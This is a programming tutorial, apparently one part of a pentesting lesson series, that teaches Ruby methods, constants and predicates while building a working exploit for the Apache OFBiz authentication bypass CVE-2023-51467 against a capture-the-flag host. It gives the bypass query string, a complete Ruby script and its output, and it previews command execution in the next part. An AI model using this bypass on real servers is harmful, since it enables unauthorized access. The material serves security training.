// Ruby for Pentesters · Part 2
Walking past the login
OFBiz has an authentication bypass (CVE-2023-51467). We turn that into a reusable Ruby method, learn how functions and constants work, and confirm we're past the login gate.
In Part 1 we fingerprinted the box as Apache OFBiz. That matters because OFBiz has a widely-known authentication bypass, CVE-2023-51467. This part turns that bypass into a tidy Ruby method — and along the way you’ll learn how to package code into reusable functions instead of one long script.
The bug, in one line
OFBiz gates its admin tooling under /webtools/control/<screen>. The bypass is
almost silly: append ?USERNAME=&PASSWORD=&requirePasswordChange=Y to any of
those URLs. Empty credentials plus the “must change password” flag land the
request in a state where OFBiz skips the auth check instead of failing it. It’s
not tied to one endpoint — it works on every screen behind the gate.
The cleanest way to prove we’re through is the ping screen, which only
answers PONG to an authenticated caller.
Don’t repeat yourself: a method
In Part 1 we wrote the whole request inline. We’re going to make many requests
now, so let’s package it once. A method (Ruby’s word for a function) is
defined with def:
def get(path)
uri = URI("#{BASE}#{path}")
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
http.get(uri.request_uri)
end
def get(path)starts a method namedgetthat takes one parameter,path. Everything until the matchingendis its body.- A method returns its last expression automatically — no
returnkeyword needed. Here the last line ishttp.get(...), so callingget('/x')hands back the response object. uri.request_uriis the path plus query string (e.g./ping?USERNAME=...), which is exactly whatNet::HTTP#getwants.
Constants for the fixed bits
The base URL and the bypass string never change, so pull them out as constants — names that start with a capital letter:
BASE = 'https://bizness.htb'
BYPASS = 'USERNAME=&PASSWORD=&requirePasswordChange=Y'
Ruby treats any identifier starting with an uppercase letter as a constant.
They read well in interpolation ("#{BASE}#{path}") and signal “this is
config, not a throwaway variable.”
Putting it together
#!/usr/bin/env ruby
require 'net/http'
require 'uri'
BASE = 'https://bizness.htb'
BYPASS = 'USERNAME=&PASSWORD=&requirePasswordChange=Y'
def get(path)
uri = URI("#{BASE}#{path}")
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
http.get(uri.request_uri)
end
response = get("/webtools/control/ping?#{BYPASS}")
if response.body.include?('PONG')
puts '[+] Auth bypass works — we are past the login gate'
else
puts '[-] No PONG; the bypass did not take'
end
Run it:
$ ruby bypass.rb
[+] Auth bypass works — we are past the login gate
PONG came back. On an unpatched OFBiz, that response is supposed to require a
login — getting it with empty credentials is the whole vulnerability. We now
have an authenticated view of the web-tools context without ever knowing a
password.
A method that answers yes or no
That if/else mixes two jobs: deciding whether we’re through and printing
about it. Split the decision into its own method. By convention, a Ruby method
that returns true/false is named with a trailing ? — a predicate:
def bypassed?
res = get("/webtools/control/ping?#{BYPASS}")
res.code == '200' && res.body.include?('PONG')
end
puts bypassed? ? '[+] past the login gate' : '[-] bypass did not take'
There’s a lot of idiomatic Ruby packed in here:
- The
?is a real part of the method name — Ruby allows it, and it signals “I answer a yes/no question.” You’ll see it on built-ins too:include?,nil?,empty?. res.codeis the HTTP status as a string ('200'), so we compare it with==.&&is boolean and; the method returns that whole expression, since a method returns its last line.bypassed? ? a : bis the ternary —condition ? if_true : if_false— a compactif/elsethat produces a value. (Yes, the first?belongs to the method name and the second is the ternary; Ruby reads it fine.)
Now “are we in?” is one reusable, self-describing call instead of a wall of request-and-check code.
Why the method matters
Notice what we bought by writing get: from here on, hitting any screen is a
one-liner — get("/webtools/control/whatever?#{BYPASS}"). In the next part we
add a second method for POST requests and use the exact same pattern to reach a
screen that runs code. Small, named methods are how a throwaway script grows
into a real tool without turning into spaghetti.
Takeaways
- Methods (
def name(args) ... end) package reusable behavior; a method returns its last expression automatically. - Constants (capitalized names) hold the fixed configuration and read
cleanly inside
"#{...}"interpolation. - A method named with a trailing
?is a predicate that returns a boolean;&&combines conditions andcond ? a : b(the ternary) picks a value. - CVE-2023-51467 is an auth bypass:
?USERNAME=&PASSWORD=&requirePasswordChange=Yon any/webtools/control/screen skips the login check.pingreturningPONGproves you’re through.
Exercises
- Extract a
screen(name)method that returns"/webtools/control/#{name}?#{BYPASS}", and rewrite thepingrequest to call it. One method, every screen. - Give
bypassed?a default parameter —def bypassed?(screen = 'ping')— so you can probe any screen by name and it still defaults toping. - Add the opposite predicate,
patched?, that returns!bypassed?. Naming the negation often reads better at the call site than a bare!.
Next — Part 3: we point that same bypass at OFBiz’s ProgramExport screen,
POST a Groovy payload, and get our first command execution on the box.